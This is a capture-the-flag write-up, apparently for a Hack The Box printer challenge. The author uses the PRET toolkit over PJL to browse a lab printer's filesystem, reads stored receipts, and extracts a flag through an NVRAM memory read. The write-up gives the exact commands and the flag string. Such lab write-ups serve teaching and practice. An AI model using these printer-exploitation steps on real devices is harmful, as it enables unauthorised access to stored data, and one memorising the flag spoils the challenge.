

Thermal Receipt

Overview

We need to retrieve the flag (a receipt) from a network-connected printer speaking PDL using the PRET (Printer Exploitation Toolkit) tool.

Methodology

Running the command:

```
python3 pret.py 154.57.164.65:31897 pjl
```

Results in a successful connection, as shown in the following image:

[illegible]

The first thing I do is type `ls` in the command line, which results in the following options:

```
154.57.164.65:31897:/> ls
d      -      config
d      -      journal
-      97      readme.txt
d      -      spool
```

The text inside of readme.txt says that closed receipts are held under 0:/journal.

Looking inside the journal/ directory results in the following options:

```
154.57.164.65:31897:/../spool/..\> cd journal/
154.57.164.65:31897:/../spool/..\journal> ls
-      17    last.txt
-     191  receipt_0000.txt
-     192  receipt_0001.txt
-     195  receipt_0002.txt
-     241  receipt_0003.txt
154.57.164.65:31897:/../spool/..\journal> cat receipt_0003.txt
EASTREACH RATION KIOSK
-----
DATE: 2026-06-01 00:17:33
GATE: ASH-03
CARGO: BRINE FILTERS
SEAL FEE: 42.10
AUTH CODE: STORED IN NVRAM
NVRAM REF: EJ_AUTH_0421 ADDR=53264 LEN=60
-----
V
```

Investigating the different receipts, receipt_0003.txt gives the most important information:

```
AUTH CODE: STORED IN NVRAM
NVRAM REF: EJ_AUTH_0421 ADDR=53264 LEN=60
```

We discover that the receipt is stored in the NVRAM meaning we can retrieve it using nvram read. It also gives that the address is 53264, which can be left as a parameter in our command as the location to read from for the length of the item, 60.

This results in our final command being

```
nvram read 53264 60
```

which successfully prints the flag:

```
154.57.164.65:31897:/../spool/..\journal> nvram read 53264 60
ADDRESS=53264 DATA=72
ASCII="HTB{th3rm4l_j0urn4l_r3c4ll_4fca8431deaaf80f3389fd4d1a6fe44e}"
```